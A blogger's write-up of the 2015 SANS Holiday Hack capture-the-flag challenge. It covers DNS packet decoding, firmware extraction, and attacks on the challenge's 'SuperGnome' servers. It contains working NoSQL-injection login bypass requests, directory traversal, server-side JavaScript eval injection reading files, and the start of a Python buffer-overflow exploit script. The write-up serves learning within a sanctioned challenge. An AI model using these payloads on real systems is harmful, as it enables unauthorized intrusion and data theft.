Introduction

It was the holiday season, and time for the SANS Holiday Hack Challenge for 2015. I had not participated in the previous years but I recently started participating in CTFs and other challenges and this one looked like a fun challenge. The Counter Hack team even made an 8bit game out of it. Each part of the challenge has a set of questions to answer.

Note: this isn’t the complete write-up I submitted, I did not include the answers and the post is in a different format.

The Game

The game is premised by a new toy (little gnomes) being the new rage for the holidays. A father, Duke Dosis, finds one at a local store hidden behind some other toys and brought it home for his children, Jess and Josh.

hack_quest

Part 1: Dance of the Sugar Gnome Fairies: Curious Wireless Packets

The Challenge

In this part I started by talk to Josh Dosis in game where he gives the player a PCAP of wireless packets he captured from the gnome.

wireshark_warning

After the warning I noticed the PCAP appeared to be out of order. Further, investigation shows there are several DNS queries that contain BASE64 code. When talking with Josh some more he reveals he was working on a Python script to decode and extract whatever is being sent through DNS.

#!/usr/bin/env python
# Copyright (c) 2105 Josh Dosis
import base64
from scapy.all import *     # This script requires Scapy
 
# Read the capture file into a list of packets
packets=rdpcap("giyh-capture.pcap")
 
# Open the output file to save the extracted content from the pcap
fp=open("outfile","wb")
 
for packet in packets:
 
   # Make sure this is a DNS packet, with the rdata record where the content is stored
   if (DNS in packet and hasattr(packet[DNS], 'an') and hasattr(packet[DNS].an, 'rdata')):
 
       # Make sure it's from the Gnome, not the server
       if packet.sport != 53: continue
 
       # Decode the base64 data
       decode=base64.b64decode(packet[DNSRR].rdata[1:])
 
       # Strip off the leading "FILE:" line in the decoded data
       if decode[0:5] == "FILE:":           
           fp.write(decode[5:])
 
fp.close()

Josh is on the right track but for everything to work a few changes are needed. First, the capture needs to be sorted so that the BASE64 is extracted in the correct order as well. Reviewing the file generated after that in a hex editor reveals near the end a familiar set of hex that indicates the file is a JPEG image. Further adapting of the script allowed me to extract the image that was sent through DNS.

#!/usr/bin/env python
import base64
from scapy.all import *     # This script requires Scapy
# Read the capture file into a list of packets
packets=rdpcap("giyh-capture.pcap")
# Sort the packets
packets=sorted(packets, key=lambda ts: ts.time)
# Open the output file to save the extracted content from the pcap
fp=open("gnome-spy.jpg","wb")
image=''
for packet in packets:
   # Make sure this is a DNS packet, with the rdata record where the content is stored
   if (DNS in packet and hasattr(packet[DNS], 'an') and hasattr(packet[DNS].an, 'rdata')):
      # Make sure it's from the Gnome, not the server
      if packet.sport != 53: continue
      # Decode the base64 data
      decode=base64.b64decode(packet[DNSRR].rdata[1:])
      # Strip off the leading "FILE:" line in the decoded data
      if decode[0:5] == "FILE:":           
         image+=decode[5:]
# Find header of JPEG image
start=image.find('\xff\xd8\xff\xe0')
# Find end of JPEG image
end=image.find('\xff\xd9') + 2
# Write the JPEG
fp.write(image[start:end])        
fp.close()

extracted-image

Part 2: I’ll be Gnome for Christmas: Firmware Analysis for Fun and Profit

The Challenge

The second part of this challenge sent me to Jessica Dosis who has dumped the firmware from the gnome. In game Jessica provided me with a copy of the firmware she dumped so I started by running Binwalk against it.

binwalk giyh-firmware-dump.bin 
 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PEM certificate
1809          0x711           ELF 32-bit LSB shared object, ARM, version 1 (SYSV)
168803        0x29363         Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 17376149 bytes,  4866 inodes, blocksize: 131072 bytes, created: Tue Dec  8 11:47:32 2015

Thanks to Binwalk I now know the firmware is in the SquashFS format and I have the decimal value for the header for SquashFS. Additionally, I know the gnome is running on a 32bit ARM device. Now I want to extract the file system from the firmware. Using dd I successfully extracted the filesystem.

dd if=giyh-firmware-dump.bin of=giyh-firmware-dump.squash bs=1 skip=168803
17379937+0 records in
17379937+0 records out
17379937 bytes (17 MB) copied, 33.1661 s, 524 kB/s

The bs option in the dd command sets dd to read one byte at a time and the skip option allows me to skip to the SquashFS header. Binwalk can be run again on the new file giyh-firmware-dump.squash to check if I successfully extracted the file system. The next step I needed to perform is to unpack the file system. To do this I used firmware-mod-kit to unpack the file system into a directory of my choosing.

/opt/firmware-mod-kit/trunk/unsquashfs_all.sh giyh-firmware-dump.squash giyh-firmware/
Attempting to extract SquashFS .X file system...
 
 
Trying ./src/squashfs-2.1-r2/unsquashfs-lzma... 
Trying ./src/squashfs-2.1-r2/unsquashfs... 
Trying ./src/squashfs-3.0/unsquashfs-lzma... 
Trying ./src/squashfs-3.0/unsquashfs... 
Trying ./src/squashfs-3.0-lzma-damn-small-variant/unsquashfs-lzma... 
Trying ./src/others/squashfs-2.0-nb4/unsquashfs... 
Trying ./src/others/squashfs-3.0-e2100/unsquashfs-lzma... 
Trying ./src/others/squashfs-3.0-e2100/unsquashfs... 
Trying ./src/others/squashfs-3.2-r2/unsquashfs... 
Trying ./src/others/squashfs-3.2-r2-lzma/squashfs3.2-r2/squashfs-tools/unsquashfs... 
Trying ./src/others/squashfs-3.2-r2-hg612-lzma/unsquashfs... 
Trying ./src/others/squashfs-3.2-r2-wnr1000/unsquashfs... 
Trying ./src/others/squashfs-3.2-r2-rtn12/unsquashfs... 
Trying ./src/others/squashfs-3.3/unsquashfs... 
Trying ./src/others/squashfs-3.3-lzma/squashfs3.3/squashfs-tools/unsquashfs... 
Trying ./src/others/squashfs-3.3-grml-lzma/squashfs3.3/squashfs-tools/unsquashfs... 
Trying ./src/others/squashfs-3.4-cisco/unsquashfs... 
Trying ./src/others/squashfs-3.4-nb4/unsquashfs-lzma... 
Trying ./src/others/squashfs-3.4-nb4/unsquashfs... 
Trying ./src/others/squashfs-4.2-official/unsquashfs... Parallel unsquashfs: Using 2 processors
3936 inodes (5763 blocks) to write
 
[=================================\                                                                                                 ] 1497/5763  25%File system sucessfully extracted!
MKFS="./src/others/squashfs-4.2-official/mksquashfs"
[==================================================================================================================================|] 5763/5763 100%
created 3899 files
created 930 directories
created 37 symlinks
created 0 devices
created 0 fifos

Note: An alternative to using dd and firmware-mod-kit is to simply use Binwalk with the -e option.
Browsing through the file system there are some noteworthy files. First, I try and locate what the firmware is running as far as an OS. Inside the etc/ directory I find two files that help me identify this information, openwrt_version and openwrt_release.

cat etc/openwrt_version
r47650
 
cat etc/openwrt_release 
DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='Bleeding Edge'
DISTRIB_REVISION='r47650'
DISTRIB_CODENAME='designated_driver'
DISTRIB_TARGET='realview/generic'
DISTRIB_DESCRIPTION='OpenWrt Designated Driver r47650'
DISTRIB_TAINTS=''

Now I know the gnomes are operating on OpenWRT and the version they run. The second file is index.js which is inside the www/routes/ directory. This file appears to be the source code for the command and control WebUI. Reviewing index.js reveals the interface is running off of NodeJS. Additionally, inside the etc/directory there is mongod.conf which is a configuration file for MongoDB.

# LOUISE: No logging, YAY for /dev/null
# AUGGIE: Louise, stop being so excited to basic Unix functionality
# LOUISE: Auggie, stop trying to ruin my excitement!
 
systemLog:
  destination: file
  path: /dev/null
  logAppend: true
storage:
  dbPath: /opt/mongodb
net:
  bindIp: 127.0.0.1

The configuration file gives me the location of the MongoDB database directory. The wonderful thing about databases is developers/DBAs often leave information inside unprotected in plain-text. So I use the strings function to check if I can see anything interesting in the database.

strings opt/mongodb/gnome.0 
...
username
admin
password
SittingOnAShelf
...

As expected the admin user and its password were stored in the database in plain-text.
Another area I check is what is started when the OS boots. Since OpenWRT uses the Linux kernel I check etc/rc.d/ for anything interesting.

ls -al etc/rc.d/
…
lrwxrwxrwx  1 root root   17 Jan  3 14:55 S98sgstatd -> ../init.d/sgstatd
…

The program sgstatd is unfamiliar and following the symbolic link I view etc/init.d/sgstatd and see it’s a custom executable for the gnomes.

#!/bin/sh /etc/rc.common
# BUGID: 570523-1
# OWNER: STUART
#  LOUISE: The sgstatd process fails to start on the Gnome hardware.
#  LOUISE: I rewrote the startup script, testing in DEV works fine. Closing ticket.
#  LOUISE changed status from OPEN to CLOSED
#  AUGGIE: Process still fails to startup, re-opening ticket.
#  AUGGIE changed status from CLOSED to OPEN
#  LOUISE: It works just find in DEV Auggie.
#  NEDFORD: Confirm process fails to startup, delegate to Stuart for resolution.
#  LOUISE: Status on this Stuart?
#  NEDFORD changed owner from LOUISE to STUART
#  NEDFORD: Can we get a status on this Stuart?
#  NEDFORD: Can we get a status on this Stuart?
#  LOUISE: Blocking on this ticket, we may have to ship without resolution.
START=98
 
PROG=/usr/bin/sgstatd
 
start_service() {
	$PROG &
}
stop_service() {
	killall sgstatd
}

Part 3: Let it Gnome!  Let it Gnome!  Let it Gnome! Internet-Wide Scavenger Hunt

The Challenge

The first IP for a SuperGnome is given in the PCAP that Josh gave me and I verified this with Tom Hessman in the game.

scope

Since I am told there are more I first use Shodan to search the first gnomes IP and see what it has.

shodan_sg01

In the Services section I see X-Powered-By: GIYH::SuperGnome by AtnasCorp that I can use to help locate the other SuperGnomes. Using Shodan again I find the four other SuperGnomes.

shodan_all

Part 4: There’s No Place Like Gnome for the Holidays: Gnomage Pwnage

The Challenge

Alright now for the fun part. The challenge mentions that each SuperGnome is uniquely vulnerable and the ultimate goal is to obtain the gnome.conf file from each one. Additionally, it says the key to exploiting each SuperGnome is found in the firmware.

Since I know the vulnerabilities can be found in the firmware I look at index.js from the firmware to see if I can find anything interesting. Often commented out portions of source code and provide tremendous amounts of information.

Login Function

The first are we spot is the login function.

// LOGIN POST
router.post('/', function(req, res, next) {
  var db = req.db;
  var msgs = [];
  db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user) { // STUART: Removed this in favor of below.  Really guys?
  //db.get('users').findOne({username: (req.body.username || "").toString(10), password: (req.body.password || "").toString(10)}, function (err, user) { // LOUISE: allow passwords longer than 10 chars
    if (err || !user) {
      console.log('Invalid username and password: ' + req.body.username + '/' + req.body.password);
      msgs.push('Invalid username or password!');
      res.msgs = msgs;
      res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[req.cookies.sessionid], res: res });
    } else {
      sessionid = gen_session();
      sessions[sessionid] = { username: user.username, logged_in: true, user_level: user.user_level };
      console.log("User level:" + user.user_level);
      res.cookie('sessionid', sessionid);
      res.writeHead(301,{ Location: '/' });
      res.end();
    }
  });
});

A quick look at the function shows when a username and password are passed to the function there is no input validation or sanitization of the supplied parameters.

db.get('users').findOne({username: req.body.username, password: req.body.password}, function (err, user)

Combining this with the knowledge that the gnomes run MongoDB, which uses a JSON like format for storage and querying, I can potentially perform no SQL injection (NoSQLi) to bypass authentication.

Settings Upload Function

The second area of interest is the settings upload function.

// SETTINGS UPLOAD
router.post('/settings', function(req, res, next) {
  if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // AUGGIE: settings upload allowed for admins (admins are 100, currently)
    var filen = req.body.filen;
    var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen;
    var msgs = [];
    var free = 0;
    disk.check('/', function(e, info) {
      free = info.free;
    });
    try {
      fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));
      msgs.push('Dir ' + dirname.substr(0,dirname.lastIndexOf('/')) + '/ created successfully!');
    } catch(e) {
      if (e.code != 'EEXIST')
	throw e;
    }
    if (free < 99999999999) { // AUGGIE: I think this is breaking uploads?  Stuart why did you set this so high?
      msgs.push('Insufficient space!  File creation error!');
    }
    res.msgs = msgs;
    next();
  } else
    res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
});

First, I notice again there is no input validation on the parameter supplied by a user. Additionally, the function will concatenate the user supplied file with a directory and pass this to a function to create a new directory.

var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen;
...
fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));

Unfortunately, the function has a check for free space using a fixed variable that will always return true so arbitrary file uploads are impossible.

var free = 0;
...
if (free < 99999999999) { // AUGGIE: I think this is breaking uploads?  Stuart why did you set this so high?

It’s not all bad news however because even though the file won’t upload the directory will still be created so it might be possible to combine this vulnerability with others in exploitation.

Files Upload Function

The next potential vulnerability is contained in the files upload function.

// FILES UPLOAD
router.post('/files', upload.single('file'), function(req, res, next) {
  if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // NEDFORD: this should be 99 not 100 so admins can upload
    var msgs = [];
    file = req.file.buffer;
    if (req.file.mimetype === 'image/png') {
      msgs.push('Upload successful.');
      var postproc_syntax = req.body.postproc;
      console.log("File upload syntax:" + postproc_syntax);
      if (postproc_syntax != 'none' && postproc_syntax !== undefined) {
        msgs.push('Executing post process...');
        var result;
        d.run(function() {
          result = eval('(' + postproc_syntax + ')');
        });
        // STUART: (WIP) working to improve image uploads to do some post processing.
        msgs.push('Post process result: ' + result);
      }
      msgs.push('File pending super-admin approval.');
      res.msgs = msgs;
    } else {
      msgs.push('File not one of the approved formats: .png');
      res.msgs = msgs;
    }
  } else
    res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
  next();
});

There is some input validation on the file being uploaded however the more interesting part of the function is the use of eval.

result = eval('(' + postproc_syntax + ')');

There is no validation performed on the postproc_syntax variable which is user supplied. Eval is notorious in NodeJS for allowing server side java script injection (SSJS). This can allow me to execute code on the server.

Cams Viewer Function

The last area of interest in index.js is the cams viewer function.

// CAMERA VIEWER
// STUART: Note: to limit disclosure issues, this code checks to make sure the user asked for a .png file
router.get('/cam', function(req, res, next) {
  var camera = unescape(req.query.camera);
  // check for .png
  //if (camera.indexOf('.png') == -1) // STUART: Removing this...I think this is a better solution... right?
  camera = camera + '.png'; // add .png if its not found
  console.log("Cam:" + camera);
  fs.access('./public/images/' + camera, fs.F_OK | fs.R_OK, function(e) {
    if (e) {
	    res.end('File ./public/images/' + camera + ' does not exist or access denied!');
    }
  });
  fs.readFile('./public/images/' + camera, function (e, data) {
    res.end(data);
  });
});

Most noticeably this function does not sanitize the input. Since the function takes a query for a file and if found returns it, combined with the lack of proper sanitization it’s possible to perform directory traversal. Interesting is the commented out check related to the file being a PNG image file.

if (camera.indexOf('.png') == -1)

This check can be defeated as long as there is .png somewhere in the file path verse actually checking if the file is a PNG. Knowing about the ability to create arbitrary directories in the settings upload function I should test for this condition on any SuperGnomes found with the settings upload function.

SG-01

Starting with SG-01 I try the username and password found in the database on the firmware.

sg-01_login

The username and password work and navigating to the files page I am able to download each file there without having to exploit anything beyond the compromised credentials I found.

sg-01_files

gnome.conf:

Gnome Serial Number: NCC1701
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-01
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/

SG-02

The next SuperGnome to tackle is SG-02. Using the credentials, I was able to login however I cannot download the files from the files page. After looking at the other pages I notice the upload area on the settings page. Since I previously saw the potential to use a vulnerability in to upload combined with a potential directory traversal vulnerability I first check the /cam function if directory traversal is possible.

sg-02_dt

With directory traversal confirmed the next step is to try the upload function and see if I can create an arbitrary directory with .png as a name.

sg-02_settings_error

Bingo! I created a directory with .png in its name. The next step is to combine the directory traversal with the arbitrary directory creation to see if I can access files I normally wouldn’t be able to.

sg-02_gnome

Using the combination of exploits, I am able to obtain everything listed on the files page.

gnome.conf:

Gnome Serial Number: XKCD988
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-02
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/

SG-03

On the third SuperGnome I again tried the credentials that worked on the previous two. Unfortunately, the credentials did not work. Knowing I identified a potential NoSQLi vulnerability I try a common MongoDB injection by changing the POST to a JSON via Burp Suite.

POST / HTTP/1.1
Host: 52.64.191.71
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://52.64.191.71/
Cookie: sessionid=O9MLXaeE0QrwB1umHzPk
Connection: close
Content-Type: application/json
 
{
    "username": {$gt: ""},
    "password": {"$gt": ""}
}

The injection worked however when I try to access the files I ran into an issue.

sg-03_permissions

Since I know the SuperGnome is vulnerable to NoSQLi, I need to change the injection to give me the proper permissions in order to obtain the files I need for the challenge.

POST / HTTP/1.1
Host: 52.64.191.71
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://52.64.191.71/
Cookie: sessionid=O9MLXaeE0QrwB1umHzPk
Connection: close
Content-Type: application/json
Content-Length: 59
 
{
    "username": "admin",
    "password": {"$gt": ""}
}

This injection worked as well and when I went to the files page I am able to download all the files.

gnome.conf:

Gnome Serial Number: THX1138
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-03
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/

SG-04

Unlike the third SuperGnome I was able to use the credentials that worked on the first two SuperGnomes. After opening the files page, I notice there is an upload function. Since I identified a vulnerability in this function I intercept the POST in Burp Suite and modify it.

POST /files HTTP/1.1
Host: 52.192.152.132
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://52.192.152.132/files
Cookie: sessionid=F2vXoRGFZugzlpYRtZ9h
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------4492338463970300411499404591
Content-Length: 359
 
-----------------------------4492338463970300411499404591
Content-Disposition: form-data; name="postproc"
 
res.write('Injectioned')
-----------------------------4492338463970300411499404591
Content-Disposition: form-data; name="file"; filename="hello.png"
Content-Type: image/png
 
hello
-----------------------------4492338463970300411499404591--

The returned page proved that I could indeed use SSJS.

sg-04_ssjs_proof

With the successful result I send the POST to Burp Suite’s Repeater and modify it again to request each file.

res.end(require('fs').readFileSync('./files/gnome.conf'))

Using readFileSync allowed me to grab every file except the large file factory_cam_4.zip. After some investigation apparently the function can have some difficulties returning large data files. Knowing the web interface can download files I take a second look at the index.js file from the firmware to see how normally the files are downloaded.

if (!download) {
      res.render('files', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res });
    }

I see that normally the files are returned to res.render instead of res.end like I am using. So with some modification I change the code to return the file to res.render. Since it’s a large zip archive I also encode the result as BASE64.

res.render(fs.readFileSync('./files/factory_cam_4.zip', 'base64', function(err, data) { data;}))

Now that I have the file (BASE64 encoded) I need to decode the BASE64 so I open python and decode the file back to a regular zip archive.

import base64
with open('factory_cam_4.base64', 'rb') as fin, open('factory_cam_4.zip', 'w') as fout:
    base64.decode(fin,fout)

gnome.conf:

Gnome Serial Number: BU22_1729_2716057 
Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg
Allow new subordinates?: YES
Camera monitoring?: YES
Audio monitoring?: YES
Camera update rate: 60min
Gnome mode: SuperGnome
Gnome name: SG-04
Allow file uploads?: YES
Allowed file formats: .png
Allowed file size: 512kb
Files directory: /gnome/www/files/

SG-05

For the final SuperGnome I once again try the credentials I used for the majority of the other SuperGnomes. Now they work however they did not allow me to download any files.

sg-05_files

Since I already used all the vulnerabilities I found from index.js and I could not find any of them in the interface for SG-05 I knew there had to be a different way to exploit SG-05. A quick nmap scan and I could see a service running that wasn’t on the other SuperGnomes.

Nmap scan report for ec2-54-233-105-81.sa-east-1.compute.amazonaws.com (54.233.105.81)
Host is up (0.048s latency).
PORT     STATE SERVICE
80/tcp   open  http
4242/tcp open  vrml-multi-use

Connecting to the service revealed it’s a custom backend for the SuperGnome.

nc 54.233.105.81 4242
 
Welcome to the SuperGnome Server Status Center!
Please enter one of the following options:
 
1 - Analyze hard disk usage
2 - List open TCP sockets
3 - Check logged in users

The previous four SuperGnomes contain source code for the program sgstatd that I found in the firmware earlier. Running it on my system and the port 4242 is opened and listening for connections. When connecting to it I am greeted with the same message. The next step is to review the source code I found. When looking at the menu, I see a possible hidden option.

if (choice != 2) {
		write(sd, "\nWelcome to the SuperGnome Server Status Center!\n", 51);
		write(sd, "Please enter one of the following options:\n\n", 45);
		write(sd, "1 - Analyze hard disk usage\n", 28);
		write(sd, "2 - List open TCP sockets\n", 26);
		write(sd, "3 - Check logged in users\n", 27);
		fflush(stdout);
 
		recv(sd, &choice, 1, 0);
 
		switch (choice) {
		case 49:
			fp = popen("/bin/df", "r");
			if (fp == NULL) {
				printf("Failed to run command\n");
				exit(1);
			}
			while (fgets(path, sizeof(path), fp) != NULL) {
				sgnet_writes(sd, path);
 
			}
			break;
 
		case 50:
			fp = popen("/bin/netstat -tan", "r");
			if (fp == NULL) {
				printf("Failed to run command\n");
				exit(1);
			}
			while (fgets(path, sizeof(path) - 1, fp) != NULL) {
				sgnet_writes(sd, path);
			}
			break;
 
		case 51:
			fp = popen("/usr/bin/who", "r");
			if (fp == NULL) {
				printf("Failed to run command\n");
				exit(1);
			}
			while (fgets(path, sizeof(path) - 1, fp) != NULL) {
				sgnet_writes(sd, path);
			}
			break;
 
		case 88:
			write(sd, "\n\nH", 4);
			usleep(60000);

The hidden menu option is looking for ‘X’ (88 is decimal for X) to be input. When this option is selected it appears to be a simple message function. It calls sgstatd before it completes.

int sgstatd(sd)
{
	__asm__("movl $0xe4ffffe4, -4(%ebp)");
	//Canary pushed
 
	char bin[100];
	write(sd, "\nThis function is protected!\n", 30);
	fflush(stdin);
	//recv(sd, &bin, 200, 0);
	sgnet_readn(sd, &bin, 200);
	__asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t"	// Canary checked
		"jne sgnet_exit");
	return 0;
}

This function declares a variable (bin) with a buffer of 100 bytes and then passes the variable to another function (sgnet_readn). There also appears to be a static Canary used as a stack protection method. Before I start debugging the program to see if I can perform a buffer overflow I need to first check if the program was compiled with an executable stack.

execstack -q sgstatd
X sgstatd

The X returned shows the stack is executable so I need to disable DEP/NX protections on the system I am going to disassemble/debug on. To do this I reboot my machine and interrupt the boot at the grub menu to add noexec=off noexec32=off to the line that executes the Linux kernel. Since I have a copy of the program already there is no need to compile a new version.

Finding the Buffer Overflow

Now that I am ready to start debugging the program I open it in GDB. I also set some option that will come in handy while debugging.

gdb -q sgstatd
Reading symbols from sgstatd...(no debugging symbols found)...done.
(gdb) set follow-fork-mode child
(gdb) handle SIGALRM ignore
Signal        Stop   Print Pass to program   Description
SIGALRM       No  No No    Alarm clock
(gdb) set disassembly-flavor intel

Since the function sgstatd contains the portion of the program I am interested in I disassemble that function and set some break points. The first breakpoint is before the XOR on the Canary is performed and the second is at the return (ret) of the function.

(gdb) disas sgstatd
Dump of assembler code for function sgstatd:
   0x0804935d <+0>:  push   ebp
   0x0804935e <+1>:  mov    ebp,esp
   0x08049360 <+3>:  sub    esp,0x88
   0x08049366 <+9>:  mov    DWORD PTR [ebp-0x4],0xe4ffffe4
   0x0804936d <+16>: mov    DWORD PTR [esp+0x8],0x1e
   0x08049375 <+24>: mov    DWORD PTR [esp+0x4],0x8049d53
   0x0804937d <+32>: mov    eax,DWORD PTR [ebp+0x8]
   0x08049380 <+35>: mov    DWORD PTR [esp],eax
   0x08049383 <+38>: call   0x8048af0 <write@plt>
   0x08049388 <+43>: mov    eax,ds:0x804b2e0
   0x0804938d <+48>: mov    DWORD PTR [esp],eax
   0x08049390 <+51>: call   0x80489a0 <fflush@plt>
   0x08049395 <+56>: mov    DWORD PTR [esp+0x8],0xc8
   0x0804939d <+64>: lea    eax,[ebp-0x6c]
   0x080493a0 <+67>: mov    DWORD PTR [esp+0x4],eax
   0x080493a4 <+71>: mov    eax,DWORD PTR [ebp+0x8]
   0x080493a7 <+74>: mov    DWORD PTR [esp],eax
   0x080493aa <+77>: call   0x804990b <sgnet_readn>
   0x080493af <+82>: mov    edx,DWORD PTR [ebp-0x4]
   0x080493b2 <+85>: xor    edx,0xe4ffffe4
   0x080493b8 <+91>: jne    0x804933f <sgnet_exit>
   0x080493be <+97>: mov    eax,0x0
   0x080493c3 <+102>:   leave  
   0x080493c4 <+103>:   ret    
End of assembler dump.
(gdb) b *0x080493af
Breakpoint 1 at 0x80493af
(gdb) b *0x080493c4
Breakpoint 2 at 0x80493c4

Now before I run the program and try to exploit a buffer overflow I need to create a python script to send my buffer with. Initially the script just sends a bunch of ‘A’s to the program.

#!/usr/bin/python
import socket, time
 
port=4242
host='127.0.0.1'
 
junk="A"*500
 
exploit=junk
 
print "[*] Connecting to "+str(host)+" on port "+str(port)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("X")
time.sleep(10)
 
print "[+] Sending shellcode..."
s.send(exploit)
s.close()

With the script created I run the program in GDB and also run the python script.

(gdb) run
Starting program: /home/stackcrash/SANsHolidayChallenge/SG-05/sgstatd 
Server started...
[New process 3788]
[Switching to process 3788]
 
Breakpoint 1, 0x080493af in sgstatd ()
(gdb)
./gnomePwn.py 
[*] Connecting to 127.0.0.1 on port 4242
[+] Sending shellcode...

Because I disassembled sgstatd I can see that the variable bin is allocated from the ebp register minus 108 bytes.

(gdb) disas sgstatd
…
   0x0804939d <+64>: lea    eax,[ebp-0x6c]
…

After the first breakpoint I want to find if I successfully overrode 500 bytes from the point bin is created.

(gdb) print $ebp - 0x6c
$2 = (void *) 0xffffd14c
(gdb) x/200x 0xffffd14c
0xffffd14c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd154: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd15c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd164: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd16c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd174: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd17c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd184: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd18c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd194: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd19c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1a4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1ac: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1b4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1bc: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1c4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1cc: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1d4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1dc: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1e4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1ec: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1f4: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd1fc: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd204: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41
0xffffd20c: 0x41  0x41  0x41  0x41  0x41  0x41  0x41  0x41

Note: even though I sent 500 ‘A’s only 200 were written in memory meaning I only have 200 bytes to work with for the buffer overflow.

As I can see from the results I successfully caused the buffer for bin to be overflown with 0x41 (Hex for ‘A’). The next is to see if this overflow overwrote any other registers, specifically eip and esp.

(gdb) i f
Stack level 0, frame at 0xffffd1c0:
 eip = 0x80493af in sgstatd; saved eip = 0x41414141
 called by frame at 0xffffd1c4
 Arglist at 0xffffd1b8, args: 
 Locals at 0xffffd1b8, Previous frame's sp is 0xffffd1c0
 Saved registers:
  ebp at 0xffffd1b8, eip at 0xffffd1bc
(gdb) x/10b $esp
0xffffd130:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffd150:	0x41	0x41

When I inspected the frame at the first break point we see the saved eip is the ‘A’s and I also see the esp register is also being overridden. Now when I try to continue to the next breakpoint I get a message about the Canary and the program terminates.

(gdb) c
Continuing.
Canary not repaired.
[Inferior 2 (process 1493) exited normally]

This is because the Canary has been overridden with the buffer so I need to put it back in (remember it’s a static Canary). From the source code I know that the Canary is e4ffffe4 in hex so it’s as simple as placing the Canary after 104 bytes of the ‘A’s. Remember the buffer starts 108 bytes from ebp and in the source code the Canary is located 4 bytes from ebp (108-4=104).

__asm__("movl $0xe4ffffe4, -4(%ebp)");

To do what I need I must alter the python script. At the same time, I want to find where the eip sits in the buffer so I use a ruby script that comes with Metasploit to aide me and input its results into my python script.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb 92
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad
#!/usr/bin/python
import socket, time
 
port=4242
host='127.0.0.1'
 
junk="A"*104
canary="\xe4\xff\xff\xe4"
